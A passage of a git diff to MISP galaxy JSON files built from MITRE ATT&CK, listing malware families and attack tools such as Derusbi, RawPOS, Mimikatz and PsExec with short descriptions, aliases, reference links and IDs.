Elderwood Sept 2012) (Citation: Symantec Wiarp May 2012)\n\nAliases: Wiarp", + "value": "Wiarp - S0206", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0206", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf", + "https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051606-1005-99" + ], + "external_id": "S0206", + "synonyms": [ + "Wiarp" + ] + }, + "uuid": "039814a0-88de-46c5-a4fb-b293db21880a" + }, + { + "description": "BLACKCOFFEE is malware that has been used by several Chinese groups since at least 2013. (Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)\n\nAliases: BLACKCOFFEE", + "value": "BLACKCOFFEE - S0069", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0069", + "https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf", + "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + ], + "external_id": "S0069", + "synonyms": [ + "BLACKCOFFEE" + ] + }, + "uuid": "d69c8146-ab35-4d50-8382-6fc80e641d43" + }, + { + "description": "Derusbi is malware used by multiple Chinese APT groups. (Citation: Axiom) (Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo)\n\nAliases: Derusbi, PHOTO", + "value": "Derusbi - S0021", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0021", + "http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf", + "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", + "https://www.fidelissecurity.com/sites/default/files/TA%20Fidelis%20Turbo%201602%200.pdf" + ], + "external_id": "S0021", + "synonyms": [ + "Derusbi", + "PHOTO" + ] + }, + "uuid": "94379dec-5c87-49db-b36e-66abc0b81344" + }, + { + "description": "RawPOS is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)\n\nAliases: RawPOS, FIENDCRY, DUEBREW, DRIFTWOOD\n\nContributors: Walker Johnson", + "value": "RawPOS - S0169", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0169", + "https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf", + "https://www.youtube.com/watch?v=fevGZs0EQu8", + "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" + ], + "external_id": "S0169", + "synonyms": [ + "RawPOS", + "FIENDCRY", + "DUEBREW", + "DRIFTWOOD" + ] + }, + "uuid": "9752aef4-a1f3-4328-929f-b64eb0536090" + }, + { + "description": "Epic is a backdoor that has been used by Turla. (Citation: Kaspersky Turla)\n\nAliases: Epic, Tavdig, Wipbot, WorldCupSec, TadjMakhal", + "value": "Epic - S0091", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0091", + "https://securelist.com/the-epic-turla-operation/65545/" + ], + "external_id": "S0091", + "synonyms": [ + "Epic", + "Tavdig", + "Wipbot", + "WorldCupSec", + "TadjMakhal" + ] + }, + "uuid": "6b62e336-176f-417b-856a-8552dd8c44e1" + }, + { + "description": "Lurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006. (Citation: Villeneuve 2014) (Citation: Villeneuve 2011)\n\nAliases: Lurid, Enfal", + "value": "Lurid - S0010", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0010", + "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html", + "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20dissecting-lurid-apt.pdf" + ], + "external_id": "S0010", + "synonyms": [ + "Lurid", + "Enfal" + ] + }, + "uuid": "251fbae2-78f6-4de7-84f6-194c727a64ad" + }, + { + "description": "3PARA RAT is a remote access tool (RAT) programmed in C++ that has been used by Putter Panda. (Citation: CrowdStrike Putter Panda)\n\nAliases: 3PARA RAT", + "value": "3PARA RAT - S0066", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0066", + "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + ], + "external_id": "S0066", + "synonyms": [ + "3PARA RAT" + ] + }, + "uuid": "7bec698a-7e20-4fd3-bb6a-12787770fb1a" + }, + { + "description": "JHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)\n\nAliases: JHUHUGIT, Seduploader, JKEYSKW, Sednit, GAMEFISH, SofacyCarberp", + "value": "JHUHUGIT - S0044", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0044", + "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", + "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf", + "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" + ], + "external_id": "S0044", + "synonyms": [ + "JHUHUGIT", + "Seduploader", + "JKEYSKW", + "Sednit", + "GAMEFISH", + "SofacyCarberp" + ] + }, + "uuid": "8ae43c46-57ef-47d5-a77a-eebb35628db2" + }, + { + "description": "ELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16. (Citation: FireEye EPS Awakens Part 2)\n\nAliases: ELMER", + "value": "ELMER - S0064", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0064", + "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + ], + "external_id": "S0064", + "synonyms": [ + "ELMER" + ] + }, + "uuid": "3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c" + } + ] +} \ No newline at end of file diff --git a/clusters/mitre-enterprise-attack-tool.json b/clusters/mitre-enterprise-attack-tool.json index 8cb9666..e8e7146 100644 --- a/clusters/mitre-enterprise-attack-tool.json +++ b/clusters/mitre-enterprise-attack-tool.json @@ -1,527 +1,715 @@ { - "name": "Enterprise Attack - Tool", - "type": "mitre-enterprise-attack-tool", - "description": "Name of ATT&CK software", - "version": 3, - "source": "https://github.com/mitre/cti", - "uuid": "fc1ea6e0-1707-11e8-ac05-2b70d00c354e", - "authors": [ - "MITRE" - ], - "values": [ - { - "description": "at is used to schedule tasks on a system to run at a specified date or time. (Citation: TechNet At)\n\nAliases: at, at.exe", - "value": "at - S0110", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0110", - "https://technet.microsoft.com/en-us/library/bb490866.aspx" - ], - "synonyms": [ - "at", - "at.exe" - ] - }, - "uuid": "0c8465c0-d0b4-4670-992e-4eee8d7ff952" - }, - { - "description": "route can be used to find or change information within the local system IP routing table. (Citation: TechNet Route)\n\nAliases: route, route.exe", - "value": "route - S0103", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0103", - "https://technet.microsoft.com/en-us/library/bb490991.aspx" - ], - "synonyms": [ - "route", - "route.exe" - ] - }, - "uuid": "c11ac61d-50f4-444f-85d8-6f006067f0de" - }, - { - "description": "The Tasklist utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. (Citation: Microsoft Tasklist)\n\nAliases: Tasklist", - "value": "Tasklist - S0057", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0057", - "https://technet.microsoft.com/en-us/library/bb491010.aspx" - ], - "synonyms": [ - "Tasklist" - ] - }, - "uuid": "2e45723a-31da-4a7e-aaa6-e01998a6788f" - }, - { - "description": "Windows Credential Editor is a password dumping tool. (Citation: Amplia WCE)\n\nAliases: Windows Credential Editor, WCE", - "value": "Windows Credential Editor - S0005", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0005", - "http://www.ampliasecurity.com/research/wcefaq.html" - ], - "synonyms": [ - "Windows Credential Editor", - "WCE" - ] - }, - "uuid": "242f3da3-4425-4d11-8f5c-b842886da966" - }, - { - "description": "Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)\n\nAliases: Responder", - "value": "Responder - S0174", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0174", - "https://github.com/SpiderLabs/Responder" - ], - "synonyms": [ - "Responder" - ] - }, - "uuid": "a1dd2dbd-1550-44bf-abcc-1a4c52e97719" - }, - { - "description": "schtasks is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time. (Citation: TechNet Schtasks)\n\nAliases: schtasks, schtasks.exe", - "value": "schtasks - S0111", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0111", - "https://technet.microsoft.com/en-us/library/bb490996.aspx" - ], - "synonyms": [ - "schtasks", - "schtasks.exe" - ] - }, - "uuid": "c9703cd3-141c-43a0-a926-380082be5d04" - }, - { - "description": "UACMe is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. (Citation: Github UACMe)\n\nAliases: UACMe", - "value": "UACMe - S0116", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0116", - "https://github.com/hfiref0x/UACME" - ], - "synonyms": [ - "UACMe" - ] - }, - "uuid": "102c3898-85e0-43ee-ae28-62a0a3ed9507" - }, - { - "description": "ifconfig is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. (Citation: Wikipedia Ifconfig)\n\nAliases: ifconfig", - "value": "ifconfig - S0101", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0101", - "https://en.wikipedia.org/wiki/Ifconfig" - ], - "synonyms": [ - "ifconfig" - ] - }, - "uuid": "362dc67f-4e85-4562-9dac-1b6b7f3ec4b5" - }, - { - "description": "Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)\n\nAliases: Mimikatz\n\nContributors: Vincent Le Toux", - "value": "Mimikatz - S0002", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0002", - "https://github.com/gentilkiwi/mimikatz", - "https://adsecurity.org/?page%20id=1821" - ], - "synonyms": [ - "Mimikatz" - ] - }, - "uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60" - }, - { - "description": " (Citation: xCmd) is an open source tool that is similar to PsExec and allows the user to execute applications on remote systems. (Citation: xCmd)\n\nAliases: (Citation: xCmd)", - "value": "xCmd - S0123", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0123", - "https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/" - ], - "synonyms": [ - "xCmd" - ] - }, - "uuid": "4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b" - }, - { - "description": "is a credential dumper, similar to Mimikatz, designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)\n\nAliases: MimiPenguin\n\nContributors: Vincent Le Toux", - "value": "MimiPenguin - S0179", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0179", - "https://github.com/huntergregal/mimipenguin" - ], - "synonyms": [ - "MimiPenguin" - ] - }, - "uuid": "5a33468d-844d-4b1f-98c9-0e786c556b27" - }, - { - "description": "Systeminfo is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)\n\nAliases: Systeminfo, systeminfo.exe", - "value": "Systeminfo - S0096", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0096", - "https://technet.microsoft.com/en-us/library/bb491007.aspx" - ], - "synonyms": [ - "Systeminfo", - "systeminfo.exe" - ] - }, - "uuid": "7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1" - }, - { - "description": "netsh is a scripting utility used to interact with networking components on local or remote systems. (Citation: TechNet Netsh)\n\nAliases: netsh, netsh.exe", - "value": "netsh - S0108", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0108", - "https://technet.microsoft.com/library/bb490939.aspx" - ], - "synonyms": [ - "netsh", - "netsh.exe" - ] - }, - "uuid": "5a63f900-5e7e-4928-a746-dd4558e1df71" - }, - { - "description": "dsquery is a command-line utility that can be used to query Active Directory for information from a system within a domain. (Citation: TechNet Dsquery) It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.\n\nAliases: dsquery, dsquery.exe", - "value": "dsquery - S0105", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0105", - "https://technet.microsoft.com/en-us/library/cc732952.aspx" - ], - "synonyms": [ - "dsquery", - "dsquery.exe" - ] - }, - "uuid": "38952eac-cb1b-4a71-bad2-ee8223a1c8fe" - }, - { - "description": "gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. (Citation: TrueSec Gsecdump)\n\nAliases: gsecdump", - "value": "gsecdump - S0008", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0008", - "https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump%20v2.0b5" - ], - "synonyms": [ - "gsecdump" - ] - }, - "uuid": "b07c2c47-fefb-4d7c-a69e-6a3296171f54" - }, - { - "description": "Ping is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)\n\nAliases: Ping, ping.exe", - "value": "Ping - S0097", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0097", - "https://technet.microsoft.com/en-us/library/bb490968.aspx" - ], - "synonyms": [ - "Ping", - "ping.exe" - ] - }, - "uuid": "b77b563c-34bb-4fb8-86a3-3694338f7b47" - }, - { - "description": "Fgdump is a Windows password hash dumper. (Citation: Mandiant APT1)\n\nAliases: Fgdump", - "value": "Fgdump - S0120", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0120", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "synonyms": [ - "Fgdump" - ] - }, - "uuid": "4f45dfeb-fe51-4df0-8db3-edf7dd0513fe" - }, - { - "description": "Lslsass is a publicly-available tool that can dump active logon session password hashes from the lsass process. (Citation: Mandiant APT1)\n\nAliases: Lslsass", - "value": "Lslsass - S0121", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0121", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "synonyms": [ - "Lslsass" - ] - }, - "uuid": "2fab555f-7664-4623-b4e0-1675ae38190b" - }, - { - "description": "Pass-The-Hash Toolkit is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)\n\nAliases: Pass-The-Hash Toolkit", - "value": "Pass-The-Hash Toolkit - S0122", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0122", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "synonyms": [ - "Pass-The-Hash Toolkit" - ] - }, - "uuid": "a52edc76-328d-4596-85e7-d56ef5a9eb69" - }, - { - "description": "FTP is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data. (Citation: Wikipedia FTP)\n\nAliases: FTP, ftp.exe", - "value": "FTP - S0095", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0095", - "https://en.wikipedia.org/wiki/File%20Transfer%20Protocol" - ], - "synonyms": [ - "FTP", - "ftp.exe" - ] - }, - "uuid": "cf23bf4a-e003-4116-bbae-1ea6c558d565" - }, - { - "description": "ipconfig is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration. (Citation: TechNet Ipconfig)\n\nAliases: ipconfig, ipconfig.exe", - "value": "ipconfig - S0100", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0100", - "https://technet.microsoft.com/en-us/library/bb490921.aspx" - ], - "synonyms": [ - "ipconfig", - "ipconfig.exe" - ] - }, - "uuid": "294e2560-bd48-44b2-9da2-833b5588ad11" - }, - { - "description": "nbtstat is a utility used to troubleshoot NetBIOS name resolution. (Citation: TechNet Nbtstat)\n\nAliases: nbtstat, nbtstat.exe", - "value": "nbtstat - S0102", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0102", - "https://technet.microsoft.com/en-us/library/cc940106.aspx" - ], - "synonyms": [ - "nbtstat", - "nbtstat.exe" - ] - }, - "uuid": "b35068ec-107a-4266-bda8-eb7036267aea" - }, - { - "description": "HTRAN is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. (Citation: Operation Quantum Entanglement)\n\nAliases: HTRAN, HUC Packet Transmit Tool", - "value": "HTRAN - S0040", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0040", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf" - ], - "synonyms": [ - "HTRAN", - "HUC Packet Transmit Tool" - ] - }, - "uuid": "d5e96a35-7b0b-4c6a-9533-d63ecbda563e" - }, - { - "description": "Tor is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. Tor utilizes \"Onion Routing,\" in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)\n\nAliases: Tor", - "value": "Tor - S0183", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0183", - "http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf" - ], - "synonyms": [ - "Tor" - ] - }, - "uuid": "ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68" - }, - { - "description": "netstat is an operating system utility that displays active TCP connections, listening ports, and network statistics. (Citation: TechNet Netstat)\n\nAliases: netstat, netstat.exe", - "value": "netstat - S0104", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0104", - "https://technet.microsoft.com/en-us/library/bb490947.aspx" - ], - "synonyms": [ - "netstat", - "netstat.exe" - ] - }, - "uuid": "4664b683-f578-434f-919b-1c1aad2a1111" - }, - { - "description": "pwdump is a credential dumper. (Citation: Wikipedia pwdump)\n\nAliases: pwdump", - "value": "pwdump - S0006", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0006", - "https://en.wikipedia.org/wiki/Pwdump" - ], - "synonyms": [ - "pwdump" - ] - }, - "uuid": "9de2308e-7bed-43a3-8e58-f194b3586700" - }, - { - "description": "Cachedump is a publicly-available tool that program extracts cached password hashes from a system’s registry. (Citation: Mandiant APT1)\n\nAliases: Cachedump", - "value": "Cachedump - S0119", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0119", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "synonyms": [ - "Cachedump" - ] - }, - "uuid": "c9cd7ec9-40b7-49db-80be-1399eddd9c52" - }, - { - "description": "The Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)\n\nNet has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through Windows admin shares using net use commands, and interacting with services.\n\nAliases: Net, net.exe", - "value": "Net - S0039", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0039", - "https://msdn.microsoft.com/en-us/library/aa939914", - "http://windowsitpro.com/windows/netexe-reference" - ], - "synonyms": [ - "Net", - "net.exe" - ] - }, - "uuid": "03342581-f790-4f03-ba41-e82e67392e23" - }, - { - "description": "PsExec is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers. (Citation: Russinovich Sysinternals) (Citation: SANS PsExec)\n\nAliases: PsExec", - "value": "PsExec - S0029", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0029", - "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx", - "https://digital-forensics.sans.org/blog/2012/12/17/protecting-privileged-domain-accounts-psexec-deep-dive" - ], - "synonyms": [ - "PsExec" - ] - }, - "uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" - }, - { - "description": "Certutil is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services. (Citation: TechNet Certutil)\n\nAliases: certutil, certutil.exe", - "value": "certutil - S0160", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0160", - "https://technet.microsoft.com/library/cc732443.aspx" - ], - "synonyms": [ - "certutil", - "certutil.exe" - ] - }, - "uuid": "0a68f1f1-da74-4d28-8d9a-696c082706cc" - }, - { - "description": "Arp displays information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)\n\nAliases: Arp, arp.exe", - "value": "Arp - S0099", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0099", - "https://technet.microsoft.com/en-us/library/bb490864.aspx" - ], - "synonyms": [ - "Arp", - "arp.exe" - ] - }, - "uuid": "30489451-5886-4c46-90c9-0dff9adc5252" - }, - { - "description": "cmd is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. (Citation: TechNet Cmd)\n\nCmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., dir (Citation: TechNet Dir)), deleting files (e.g., del (Citation: TechNet Del)), and copying files (e.g., copy (Citation: TechNet Copy)).\n\nAliases: cmd, cmd.exe", - "value": "cmd - S0106", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0106", - "https://technet.microsoft.com/en-us/library/bb490880.aspx", - "https://technet.microsoft.com/en-us/library/cc755121.aspx", - "https://technet.microsoft.com/en-us/library/cc771049.aspx", - "https://technet.microsoft.com/en-us/library/bb490886.aspx" - ], - "synonyms": [ - "cmd", - "cmd.exe" - ] - }, - "uuid": "bba595da-b73a-4354-aa6c-224d4de7cb4e" - }, - { - "description": "is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.\n\nAliases: meek", - "value": "meek - S0175", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0175" - ], - "synonyms": [ - "meek" - ] - }, - "uuid": "65370d0b-3bd4-4653-8cf9-daf56f6be830" - }, - { - "description": "Reg is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. (Citation: Microsoft Reg)\n\nUtilities such as Reg are known to be used by persistent threats. (Citation: Windows Commands JPCERT)\n\nAliases: Reg, reg.exe", - "value": "Reg - S0075", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0075", - "https://technet.microsoft.com/en-us/library/cc732643.aspx", - "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" - ], - "synonyms": [ - "Reg", - "reg.exe" - ] - }, - "uuid": "cde2d700-9ed1-46cf-9bce-07364fe8b24f" - }, - { - "description": "Cobalt Strike is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)\n\nIn addition to its own capabilities, Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz. (Citation: cobaltstrike manual)\n\nAliases: Cobalt Strike", - "value": "Cobalt Strike - S0154", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0154", - "https://cobaltstrike.com/downloads/csmanual38.pdf" - ], - "synonyms": [ - "Cobalt Strike" - ] - }, - "uuid": "aafea02e-ece5-4bb2-91a6-3bf8c7f38a39" - } - ] -} + "name": "Enterprise Attack - Tool", + "type": "mitre-enterprise-attack-tool", + "description": "Name of ATT&CK software", + "version": 4, + "source": "https://github.com/mitre/cti", + "uuid": "fc1ea6e0-1707-11e8-ac05-2b70d00c354e", + "authors": [ + "MITRE" + ], + "values": [ + { + "description": "is a lightweight, open source tool similar to PsExec designed to allow system administrators to execute commands on remote servers. (Citation: Winexe Github Sept 2013) is unique in that it is a GNU/Linux based client. (Citation: \u00dcberwachung APT28 Forfiles June 2015)\n\nAliases: Winexe", + "value": "Winexe - S0191", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0191", + "https://github.com/skalkoto/winexe/", + "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + ], + "external_id": "S0191", + "synonyms": [ + "Winexe" + ] + }, + "uuid": "96fd6cc4-a693-4118-83ec-619e5352d07d" + }, + { + "description": "at is used to schedule tasks on a system to run at a specified date or time. (Citation: TechNet At)\n\nAliases: at, at.exe", + "value": "at - S0110", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0110", + "https://technet.microsoft.com/en-us/library/bb490866.aspx" + ], + "external_id": "S0110", + "synonyms": [ + "at", + "at.exe" + ] + }, + "uuid": "0c8465c0-d0b4-4670-992e-4eee8d7ff952" + }, + { + "description": "route can be used to find or change information within the local system IP routing table. (Citation: TechNet Route)\n\nAliases: route, route.exe", + "value": "route - S0103", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0103", + "https://technet.microsoft.com/en-us/library/bb490991.aspx" + ], + "external_id": "S0103", + "synonyms": [ + "route", + "route.exe" + ] + }, + "uuid": "c11ac61d-50f4-444f-85d8-6f006067f0de" + }, + { + "description": "The Tasklist utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. (Citation: Microsoft Tasklist)\n\nAliases: Tasklist", + "value": "Tasklist - S0057", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0057", + "https://technet.microsoft.com/en-us/library/bb491010.aspx" + ], + "external_id": "S0057", + "synonyms": [ + "Tasklist" + ] + }, + "uuid": "2e45723a-31da-4a7e-aaa6-e01998a6788f" + }, + { + "description": "Windows Credential Editor is a password dumping tool. (Citation: Amplia WCE)\n\nAliases: Windows Credential Editor, WCE", + "value": "Windows Credential Editor - S0005", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0005", + "http://www.ampliasecurity.com/research/wcefaq.html" + ], + "external_id": "S0005", + "synonyms": [ + "Windows Credential Editor", + "WCE" + ] + }, + "uuid": "242f3da3-4425-4d11-8f5c-b842886da966" + }, + { + "description": "Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)\n\nAliases: Responder", + "value": "Responder - S0174", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0174", + "https://github.com/SpiderLabs/Responder" + ], + "external_id": "S0174", + "synonyms": [ + "Responder" + ] + }, + "uuid": "a1dd2dbd-1550-44bf-abcc-1a4c52e97719" + }, + { + "description": "schtasks is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time. (Citation: TechNet Schtasks)\n\nAliases: schtasks, schtasks.exe", + "value": "schtasks - S0111", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0111", + "https://technet.microsoft.com/en-us/library/bb490996.aspx" + ], + "external_id": "S0111", + "synonyms": [ + "schtasks", + "schtasks.exe" + ] + }, + "uuid": "c9703cd3-141c-43a0-a926-380082be5d04" + }, + { + "description": "UACMe is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. (Citation: Github UACMe)\n\nAliases: UACMe", + "value": "UACMe - S0116", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0116", + "https://github.com/hfiref0x/UACME" + ], + "external_id": "S0116", + "synonyms": [ + "UACMe" + ] + }, + "uuid": "102c3898-85e0-43ee-ae28-62a0a3ed9507" + }, + { + "description": "ifconfig is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. (Citation: Wikipedia Ifconfig)\n\nAliases: ifconfig", + "value": "ifconfig - S0101", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0101", + "https://en.wikipedia.org/wiki/Ifconfig" + ], + "external_id": "S0101", + "synonyms": [ + "ifconfig" + ] + }, + "uuid": "362dc67f-4e85-4562-9dac-1b6b7f3ec4b5" + }, + { + "description": "is a command line tool used to create and manage BITS Jobs. (Citation: Microsoft BITSAdmin)\n\nAliases: BITSAdmin", + "value": "BITSAdmin - S0190", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0190", + "https://msdn.microsoft.com/library/aa362813.aspx" + ], + "external_id": "S0190", + "synonyms": [ + "BITSAdmin" + ] + }, + "uuid": "64764dc6-a032-495f-8250-1e4c06bdc163" + }, + { + "description": "Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)\n\nAliases: Mimikatz\n\nContributors: Vincent Le Toux", + "value": "Mimikatz - S0002", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0002", + "https://github.com/gentilkiwi/mimikatz", + "https://adsecurity.org/?page%20id=1821" + ], + "external_id": "S0002", + "synonyms": [ + "Mimikatz" + ] + }, + "uuid": 